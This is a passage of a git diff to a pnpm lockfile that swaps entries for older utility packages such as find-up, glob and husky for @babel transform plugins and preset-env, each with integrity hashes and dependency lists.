sha512-gN72G9bcmenVILj//sv1zLNaPyYcOzUho2lIJBMh/iakJ9ygCo/hEF9cpGb61SCMEDxbbyBoVQxrt+bWKu5KGw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - escape-string-regexp: 1.0.5 + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /find-node-modules/2.1.3: - resolution: {integrity: sha512-UC2I2+nx1ZuOBclWVNdcnbDR5dlrOdVb7xNjmT/lHE+LsgztWks3dG7boJ37yTS/venXw84B/mAW9uHVoC5QRg==} + /@babel/plugin-transform-destructuring@7.17.7(@babel/core@7.22.8): + resolution: {integrity: sha512-XVh0r5yq9sLR4vZ6eVZe8FKfIcSgaTBxVBRSYokRj2qksf6QerYnTxz9/GTuKTH/n/HwLP7t6gtlybHetJ/6hQ==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - findup-sync: 4.0.0 - merge: 2.1.1 + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /find-root/1.1.0: - resolution: {integrity: sha512-NKfW6bec6GfKc0SGx1e07QZY9PE99u0Bft/0rzSD5k3sO/vwkVUpDUKVm5Gpp5Ue3YfShPFTX2070tDs5kB9Ng==} + /@babel/plugin-transform-dotall-regex@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-Lyttaao2SjZF6Pf4vk1dVKv8YypMpomAbygW+mU5cYP3S5cWTfCJjG8xV6CFdzGFlfWK81IjL9viiTvpb6G7gQ==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.22.8 + '@babel/helper-create-regexp-features-plugin': 7.17.0(@babel/core@7.22.8) + '@babel/helper-plugin-utils': 7.16.7 dev: true - /find-up/4.1.0: - resolution: {integrity: sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==} - engines: {node: '>=8'} + /@babel/plugin-transform-duplicate-keys@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-03DvpbRfvWIXyK0/6QiR1KMTWeT6OcQ7tbhjrXyFS02kjuX/mu5Bvnh5SDSWHxyawit2g5aWhKwI86EE7GUnTw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - locate-path: 5.0.0 - path-exists: 4.0.0 + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /find-up/5.0.0: - resolution: {integrity: sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==} - engines: {node: '>=10'} + /@babel/plugin-transform-exponentiation-operator@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-8UYLSlyLgRixQvlYH3J2ekXFHDFLQutdy7FfFAMm3CPZ6q9wHCwnUyiXpQCe3gVVnQlHc5nsuiEVziteRNTXEA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - locate-path: 6.0.0 - path-exists: 4.0.0 + '@babel/core': 7.22.8 + '@babel/helper-builder-binary-assignment-operator-visitor': 7.16.7 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /findup-sync/4.0.0: - resolution: {integrity: sha512-6jvvn/12IC4quLBL1KNokxC7wWTvYncaVUYSoxWw7YykPLuRrnv4qdHcSOywOI5RpkOVGeQRtWM8/q+G6W6qfQ==} - engines: {node: '>= 8'} + /@babel/plugin-transform-for-of@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-/QZm9W92Ptpw7sjI9Nx1mbcsWz33+l8kuMIQnDwgQBG5s3fAfQvkRjQ7NqXhtNcKOnPkdICmUHyCaWW06HCsqg==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - detect-file: 1.0.0 - is-glob: 4.0.3 - micromatch: 4.0.5 - resolve-dir: 1.0.1 + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /fs-extra/10.1.0: - resolution: {integrity: sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==} - engines: {node: '>=12'} + /@babel/plugin-transform-function-name@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-SU/C68YVwTRxqWj5kgsbKINakGag0KTgq9f2iZEXdStoAbOzLHEBRYzImmA6yFo8YZhJVflvXmIHUO7GWHmxxA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - graceful-fs: registry.npmmirror.com/graceful-fs/4.2.10 - jsonfile: registry.npmmirror.com/jsonfile/6.1.0 - universalify: registry.npmmirror.com/universalify/2.0.0 + '@babel/core': 7.22.8 + '@babel/helper-compilation-targets': 7.22.6(@babel/core@7.22.8) + '@babel/helper-function-name': 7.22.5 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /fs-extra/8.1.0: - resolution: {integrity: sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==} - engines: {node: '>=6 <7 || >=8'} + /@babel/plugin-transform-literals@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-6tH8RTpTWI0s2sV6uq3e/C9wPo4PTqqZps4uF0kzQ9/xPLFQtipynvmT1g/dOfEJ+0EQsHhkQ/zyRId8J2b8zQ==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - graceful-fs: 4.2.10 - jsonfile: 4.0.0 - universalify: 0.1.2 + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /fs.realpath/1.0.0: - resolution: {integrity: sha1-FQStJSMVjKpA20onh8sBQRmU6k8=} + /@babel/plugin-transform-member-expression-literals@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-mBruRMbktKQwbxaJof32LT9KLy2f3gH+27a5XSuXo6h7R3vqltl0PgZ80C8ZMKw98Bf8bqt6BEVi3svOh2PzMw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /get-caller-file/2.0.5: - resolution: {integrity: sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==} - engines: {node: 6.* || 8.* || >= 10.*} + /@babel/plugin-transform-modules-amd@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-KaaEtgBL7FKYwjJ/teH63oAmE3lP34N3kshz8mm4VMAw7U3PxjVwwUmxEFksbgsNUaO3wId9R2AVQYSEGRa2+g==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.22.8 + '@babel/helper-module-transforms': 7.22.5 + '@babel/helper-plugin-utils': 7.16.7 + babel-plugin-dynamic-import-node: 2.3.3 + transitivePeerDependencies: + - supports-color dev: true - /get-stream/6.0.1: - resolution: {integrity: sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==} - engines: {node: '>=10'} + /@babel/plugin-transform-modules-commonjs@7.17.9(@babel/core@7.22.8): + resolution: {integrity: sha512-2TBFd/r2I6VlYn0YRTz2JdazS+FoUuQ2rIFHoAxtyP/0G3D82SBLaRq9rnUkpqlLg03Byfl/+M32mpxjO6KaPw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.22.8 + '@babel/helper-module-transforms': 7.22.5 + '@babel/helper-plugin-utils': 7.16.7 + '@babel/helper-simple-access': 7.22.5 + babel-plugin-dynamic-import-node: 2.3.3 + transitivePeerDependencies: + - supports-color dev: true - /git-cz/4.9.0: - resolution: {integrity: sha512-cSRL8IIOXU7UFLdbziCYqg8f8InwLwqHezkiRHNSph7oZqGv0togId1kMTfKil6gzK0VaSXeVBb4oDl0fQCHiw==} - hasBin: true + /@babel/plugin-transform-modules-systemjs@7.17.8(@babel/core@7.22.8): + resolution: {integrity: sha512-39reIkMTUVagzgA5x88zDYXPCMT6lcaRKs1+S9K6NKBPErbgO/w/kP8GlNQTC87b412ZTlmNgr3k2JrWgHH+Bw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.22.8 + '@babel/helper-hoist-variables': 7.22.5 + '@babel/helper-module-transforms': 7.22.5 + '@babel/helper-plugin-utils': 7.16.7 + '@babel/helper-validator-identifier': 7.22.5 + babel-plugin-dynamic-import-node: 2.3.3 + transitivePeerDependencies: + - supports-color dev: true - /git-raw-commits/2.0.11: - resolution: {integrity: sha512-VnctFhw+xfj8Va1xtfEqCUD2XDrbAPSJx+hSrE5K7fGdjZruW7XV+QOrN7LF/RJyvspRiD2I0asWsxFp0ya26A==} - engines: {node: '>=10'} - hasBin: true + /@babel/plugin-transform-modules-umd@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-EMh7uolsC8O4xhudF2F6wedbSHm1HHZ0C6aJ7K67zcDNidMzVcxWdGr+htW9n21klm+bOn+Rx4CBsAntZd3rEQ==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - dargs: 7.0.0 - lodash: 4.17.21 - meow: 8.1.2 - split2: 3.2.2 - through2: 4.0.2 + '@babel/core': 7.22.8 + '@babel/helper-module-transforms': 7.22.5 + '@babel/helper-plugin-utils': 7.16.7 + transitivePeerDependencies: + - supports-color dev: true - /glob/7.1.4: - resolution: {integrity: sha512-hkLPepehmnKk41pUGm3sYxoFs/umurYfYJCerbXEyFIWcAzvpipAgVkBqqT9RBKMGjnq6kMuyYwha6csxbiM1A==} + /@babel/plugin-transform-named-capturing-groups-regex@7.17.10(@babel/core@7.22.8): + resolution: {integrity: sha512-v54O6yLaJySCs6mGzaVOUw9T967GnH38T6CQSAtnzdNPwu84l2qAjssKzo/WSO8Yi7NF+7ekm5cVbF/5qiIgNA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0 dependencies: - fs.realpath: 1.0.0 - inflight: 1.0.6 - inherits: 2.0.4 - minimatch: 3.1.2 - once: 1.4.0 - path-is-absolute: 1.0.1 + '@babel/core': 7.22.8 + '@babel/helper-create-regexp-features-plugin': 7.17.0(@babel/core@7.22.8) dev: true - /global-dirs/0.1.1: - resolution: {integrity: sha512-NknMLn7F2J7aflwFOlGdNIuCDpN3VGoSoB+aap3KABFWbHVn1TCgFC+np23J8W2BiZbjfEw3BFBycSMv1AFblg==} - engines: {node: '>=4'} + /@babel/plugin-transform-new-target@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-xiLDzWNMfKoGOpc6t3U+etCE2yRnn3SM09BXqWPIZOBpL2gvVrBWUKnsJx0K/ADi5F5YC5f8APFfWrz25TdlGg==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - ini: 1.3.8 + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /global-modules/1.0.0: - resolution: {integrity: sha512-sKzpEkf11GpOFuw0Zzjzmt4B4UZwjOcG757PPvrfhxcLFbq0wpsgpOqxpxtxFiCG4DtG93M6XRVbF2oGdev7bg==} - engines: {node: '>=0.10.0'} + /@babel/plugin-transform-object-super@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-14J1feiQVWaGvRxj2WjyMuXS2jsBkgB3MdSN5HuC2G5nRspa5RK9COcs82Pwy5BuGcjb+fYaUj94mYcOj7rCvw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - global-prefix: 1.0.2 - is-windows: 1.0.2 - resolve-dir: 1.0.1 + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 + '@babel/helper-replace-supers': 7.16.7 + transitivePeerDependencies: + - supports-color dev: true - /global-prefix/1.0.2: - resolution: {integrity: sha512-5lsx1NUDHtSjfg0eHlmYvZKv8/nVqX4ckFbM+FrGcQ+04KWcWFo9P5MxPZYSzUvyzmdTbI7Eix8Q4IbELDqzKg==} - engines: {node: '>=0.10.0'} + /@babel/plugin-transform-parameters@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-AT3MufQ7zZEhU2hwOA11axBnExW0Lszu4RL/tAlUJBuNoRak+wehQW8h6KcXOcgjY42fHtDxswuMhMjFEuv/aw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - expand-tilde: 2.0.2 - homedir-polyfill: 1.0.3 - ini: 1.3.8 - is-windows: 1.0.2 - which: registry.npmmirror.com/which/1.3.1 + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /graceful-fs/4.2.10: - resolution: {integrity: sha512-9ByhssR2fPVsNZj478qUUbKfmL0+t5BDVyjShtyZZLiK7ZDAArFFfopyOTj0M05wE2tJPisA4iTnnXl2YoPvOA==} + /@babel/plugin-transform-property-literals@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-z4FGr9NMGdoIl1RqavCqGG+ZuYjfZ/hkCIeuH6Do7tXmSm0ls11nYVSJqFEUOSJbDab5wC6lRE/w6YjVcr6Hqw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /hard-rejection/2.1.0: - resolution: {integrity: sha512-VIZB+ibDhx7ObhAe7OVtoEbuP4h/MuOTHJ+J8h/eBXotJYl0fBgR72xDFCKgIh22OJZIOVNxBMWuhAr10r8HdA==} - engines: {node: '>=6'} + /@babel/plugin-transform-regenerator@7.17.9(@babel/core@7.22.8): + resolution: {integrity: sha512-Lc2TfbxR1HOyn/c6b4Y/b6NHoTb67n/IoWLxTu4kC7h4KQnWlhCq2S8Tx0t2SVvv5Uu87Hs+6JEJ5kt2tYGylQ==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.22.8 + regenerator-transform: 0.15.0 dev: true - /has-flag/3.0.0: - resolution: {integrity: sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==} - engines: {node: '>=4'} + /@babel/plugin-transform-reserved-words@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-KQzzDnZ9hWQBjwi5lpY5v9shmm6IVG0U9pB18zvMu2i4H90xpT4gmqwPYsn8rObiadYe2M0gmgsiOIF5A/2rtg==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /homedir-polyfill/1.0.3: - resolution: {integrity: sha512-eSmmWE5bZTK2Nou4g0AI3zZ9rswp7GRKoKXS1BLUkvPviOqs4YTN1djQIqrXy9k5gEtdLPy86JjRwsNM9tnDcA==} - engines: {node: '>=0.10.0'} + /@babel/plugin-transform-shorthand-properties@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-hah2+FEnoRoATdIb05IOXf+4GzXYTq75TVhIn1PewihbpyrNWUt2JbudKQOETWw6QpLe+AIUpJ5MVLYTQbeeUg==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - parse-passwd: 1.0.0 + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /hosted-git-info/2.8.9: - resolution: {integrity: sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==} + /@babel/plugin-transform-spread@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-+pjJpgAngb53L0iaA5gU/1MLXJIfXcYepLgXB3esVRf4fqmj8f2cxM3/FKaHsZms08hFQJkFccEWuIpm429TXg==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 + '@babel/helper-skip-transparent-expression-wrappers': 7.16.0 dev: true - /hosted-git-info/4.1.0: - resolution: {integrity: sha512-kyCuEOWjJqZuDbRHzL8V93NzQhwIB71oFWSyzVo+KPZI+pnQPPxucdkrOZvkLRnrf5URsQM+IJ09Dw29cRALIA==} - engines: {node: '>=10'} + /@babel/plugin-transform-sticky-regex@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-NJa0Bd/87QV5NZZzTuZG5BPJjLYadeSZ9fO6oOUoL4iQx+9EEuw/eEM92SrsT19Yc2jgB1u1hsjqDtH02c3Drw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - lru-cache: registry.npmmirror.com/lru-cache/6.0.0 + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /human-signals/2.1.0: - resolution: {integrity: sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==} - engines: {node: '>=10.17.0'} + /@babel/plugin-transform-template-literals@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-VwbkDDUeenlIjmfNeDX/V0aWrQH2QiVyJtwymVQSzItFDTpxfyJh3EVaQiS0rIN/CqbLGr0VcGmuwyTdZtdIsA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /husky/8.0.1: - resolution: {integrity: sha512-xs7/chUH/CKdOCs7Zy0Aev9e/dKOMZf3K1Az1nar3tzlv0jfqnYtu235bstsWTmXOR0EfINrPa97yy4Lz6RiKw==} - engines: {node: '>=14'} - hasBin: true + /@babel/plugin-transform-typeof-symbol@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-p2rOixCKRJzpg9JB4gjnG4gjWkWa89ZoYUnl9snJ1cWIcTH/hvxZqfO+WjG6T8DRBpctEol5jw1O5rA8gkCokQ==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /iconv-lite/0.4.24: - resolution: {integrity: sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==} - engines: {node: '>=0.10.0'} + /@babel/plugin-transform-unicode-escapes@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-TAV5IGahIz3yZ9/Hfv35TV2xEm+kaBDaZQCn2S/hG9/CZ0DktxJv9eKfPc7yYCvOYR4JGx1h8C+jcSOvgaaI/Q==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - safer-buffer: 2.1.2 + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /import-fresh/3.3.0: - resolution: {integrity: sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==} - engines: {node: '>=6'} + /@babel/plugin-transform-unicode-regex@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-oC5tYYKw56HO75KZVLQ+R/Nl3Hro9kf8iG0hXoaHP7tjAyCpvqBiSNe6vGrZni1Z6MggmUOC6A7VP7AVmw225Q==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - parent-module: 1.0.1 - resolve-from: 4.0.0 + '@babel/core': 7.22.8 + '@babel/helper-create-regexp-features-plugin': 7.17.0(@babel/core@7.22.8) + '@babel/helper-plugin-utils': 7.16.7 dev: true - /indent-string/4.0.0: - resolution: {integrity: sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==} - engines: {node: '>=8'} + /@babel/preset-env@7.17.10(@babel/core@7.22.8): + resolution: {integrity: sha512-YNgyBHZQpeoBSRBg0xixsZzfT58Ze1iZrajvv0lJc70qDDGuGfonEnMGfWeSY0mQ3JTuCWFbMkzFRVafOyJx4g==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/compat-data': 7.22.6 + '@babel/core': 7.22.8 + '@babel/helper-compilation-targets': 7.22.6(@babel/core@7.22.8) + '@babel/helper-plugin-utils': 7.16.7 + '@babel/helper-validator-option': 7.22.5 + '@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-proposal-async-generator-functions': 7.16.8(@babel/core@7.22.8) + '@babel/plugin-proposal-class-properties': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-proposal-class-static-block': 7.17.6(@babel/core@7.22.8) + '@babel/plugin-proposal-dynamic-import': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-proposal-export-namespace-from': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-proposal-json-strings': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-proposal-logical-assignment-operators': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-proposal-nullish-coalescing-operator': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-proposal-numeric-separator': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-proposal-object-rest-spread': 7.17.3(@babel/core@7.22.8) + '@babel/plugin-proposal-optional-catch-binding': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-proposal-optional-chaining': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-proposal-private-methods': 7.16.11(@babel/core@7.22.8) + '@babel/plugin-proposal-private-property-in-object': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-proposal-unicode-property-regex': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-syntax-async-generators': 7.8.4(@babel/core@7.22.8) + '@babel/plugin-syntax-class-properties': 7.12.13(@babel/core@7.22.8) + '@babel/plugin-syntax-class-static-block': 7.14.5(@babel/core@7.22.8) + '@babel/plugin-syntax-dynamic-import': 7.8.3(@babel/core@7.22.8) + '@babel/plugin-syntax-export-namespace-from': 7.8.3(@babel/core@7.22.8) + '@babel/plugin-syntax-json-strings': 7.8.3(@babel/core@7.22.8) + '@babel/plugin-syntax-logical-assignment-operators': 7.10.4(@babel/core@7.22.8) + '@babel/plugin-syntax-nullish-coalescing-operator': 7.8.3(@babel/core@7.22.8) + '@babel/plugin-syntax-numeric-separator': 7.10.4(@babel/core@7.22.8) + '@babel/plugin-syntax-object-rest-spread': 7.8.3(@babel/core@7.22.8) + '@babel/plugin-syntax-optional-catch-binding': 7.8.3(@babel/core@7.22.8) + '@babel/plugin-syntax-optional-chaining': 7.8.3(@babel/core@7.22.8) + '@babel/plugin-syntax-private-property-in-object': 7.14.5(@babel/core@7.22.8) + '@babel/plugin-syntax-top-level-await': 7.14.5(@babel/core@7.22.8) + '@babel/plugin-transform-arrow-functions': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-transform-async-to-generator': 7.16.8(@babel/core@7.22.8) + '@babel/plugin-transform-block-scoped-functions': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-transform-block-scoping': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-transform-classes': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-transform-computed-properties': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-transform-destructuring': 7.17.7(@babel/core@7.22.8) + '@babel/plugin-transform-dotall-regex': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-transform-duplicate-keys': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-transform-exponentiation-operator': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-transform-for-of': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-transform-function-name': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-transform-literals': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-transform-member-expression-literals': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-transform-modules-amd': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-transform-modules-commonjs': 7.17.9(@babel/core@7.22.8) + '@babel/plugin-transform-modules-systemjs': 7.17.8(@babel/core@7.22.8) + '@babel/plugin-transform-modules-umd': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-transform-named-capturing-groups-regex': 7.17.10(@babel/core@7.22.8) + '@babel/plugin-transform-new-target': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-transform-object-super': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-transform-parameters': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-transform-property-literals': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-transform-regenerator': 7.17.9(@babel/core@7.22.8) + '@babel/plugin-transform-reserved-words': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-transform-shorthand-properties': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-transform-spread': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-transform-sticky-regex': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-transform-template-literals': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-transform-typeof-symbol': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-transform-unicode-escapes': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-transform-unicode-regex': 7.16.7(@babel/core@7.22.8) + '@babel/preset-modules': 0.1.5(@babel/core@7.22.8) + '@babel/types': 7.22.5 + babel-plugin-polyfill-corejs2: 0.3.1(@babel/core@7.22.8) + babel-plugin-polyfill-corejs3: 0.5.2(@babel/core@7.22.8) + babel-plugin-polyfill-regenerator: 0.3.1(@babel/core@7.22.8) + core-js-compat: 3.22.5 + semver: 6.3.0 + transitivePeerDependencies: + - supports-color dev: true - /inflight/1.0.6: - resolution: {integrity: sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=} + /@babel/preset-modules@0.1.5(@babel/core@7.22.8): + resolution: {integrity: sha512-A57th6YRG7oR3cq/yt/Y84MvGgE0eJG2F1JLhKuyG+jFxEgrd/HAMJatiFtmOiZurz+0DkrvbheCLaV5f2JfjA==} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - once: 1.4.0 - wrappy: 1.0.2 + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 + '@babel/plugin-proposal-unicode-property-regex': 7.16.7(@babel/core@7.22.8) + '@babel/plugin-transform-dotall-regex': 7.16.7(@babel/core@7.22.8) + '@babel/types': 7.22.5 + esutils: 2.0.3 dev: true - /inherits/2.0.4: - resolution: {integrity: sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==} + /@babel/runtime@7.17.9: + resolution: {integrity: sha512-lSiBBvodq29uShpWGNbgFdKYNiFDo5/HIYsaCEY9ff4sb10x9jizo2+pRrSyF4jKZCXqgzuqBOQKbUm90gQwJg==} + engines: {node: '>=6.9.0'} + dependencies: + regenerator-runtime: 0.13.9 dev: true - /ini/1.3.8: - resolution: {integrity: sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==} + /@babel/template@7.22.5: + resolution: {integrity: sha512-X7yV7eiwAxdj9k94NEylvbVHLiVG1nvzCV2EAowhxLTwODV1jl9UzZ48leOC0sH7OnuHrIkllaBgneUykIcZaw==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/code-frame': 7.22.5 + '@babel/parser': 7.22.7 + '@babel/types': 7.22.5 dev: true - /inquirer/6.5.2: - resolution: {integrity: sha512-cntlB5ghuB0iuO65Ovoi8ogLHiWGs/5yNrtUcKjFhSSiVeAIVpD7koaSU9RM8mpXw5YDi9RdYXGQMaOURB7ycQ==} - engines: {node: '>=6.0.0'} + /@babel/traverse@7.22.8: + resolution: {integrity: sha512-y6LPR+wpM2I3qJrsheCTwhIinzkETbplIgPBbwvqPKc+uljeA5gP+3nP8irdYt1mjQaDnlIcG+dw8OjAco4GXw==} + engines: {node: '>=6.9.0'} dependencies: - ansi-escapes: 3.2.0 - chalk: 2.4.2 - cli-cursor: 2.1.0 - cli-width: 2.2.1 - external-editor: 3.1.0 - figures: 2.0.0 - lodash: 4.17.21 - mute-stream: 0.0.7 - run-async: 2.4.1 - rxjs: 6.6.7 - string-width: 2.1.1 - strip-ansi: 5.2.0 - through: 2.3.8 + '@babel/code-frame': 7.22.5 + '@babel/generator': 7.22.7 + '@babel/helper-environment-visitor': 7.22.5 + '@babel/helper-function-name': 7.22.5 + '@babel/helper-hoist-variables': 7.22.5 + '@babel/helper-split-export-declaration': 7.22.6 + 